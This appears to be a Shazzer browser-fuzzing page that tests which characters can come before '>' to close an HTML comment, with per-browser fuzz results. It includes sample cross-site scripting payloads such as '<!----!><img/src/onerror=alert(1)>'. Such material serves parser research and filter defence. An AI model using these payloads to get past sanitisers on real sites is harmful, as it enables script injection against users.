Shazzer logo

HTML comment before greater than

Chrome logo 3
Firefox logo 3
Edge logo 3
Safari logo 3

This vector checks for what characters are allowed before the greater than character.

hackvertor
Created byhackvertor
Created Mar 30, 2024
Updated May 11, 2025

Tweet
Detecting browser...
CategoryHTML Parsing
VisibilityPublic
TypeHTML
CharsetUTF-8
Template used:
<!----$[chr]><found>

Sample payloads

<!----!><img/src/onerror=alert(1)>
<!-----><img/src/onerror=alert(1)>
<!---->><img/src/onerror=alert(1)>

Fuzz results

Chrome logo
Chrome 145.0.0.0 desktop Windows NT 10.0
Updated18 Feb 2026
Found 3 results
Loading...
Chrome logo
Chrome 144.0.0.0 desktop macOS 10.15.7older version
Updated18 Feb 2026
Found 3 results
Loading...
Chrome logo
Chrome 123.0.0.0 Unknown Unknownolder version
Updated13 Apr 2024
Found 3 results
Loading...
Firefox logo
Firefox 147.0 desktop Linux
Updated1 Feb 2026
Found 3 results
Loading...
Firefox logo
Firefox 124.0 Unknown Unknownolder version
Updated30 Mar 2024
Found 3 results
Loading...
Edge logo
Microsoft Edge 145.0.0.0 desktop Windows NT 10.0
Updated18 Feb 2026
Found 3 results
Loading...
Safari logo
Safari 17.4 Unknown Unknown
Updated14 Apr 2024
Found 3 results
Loading...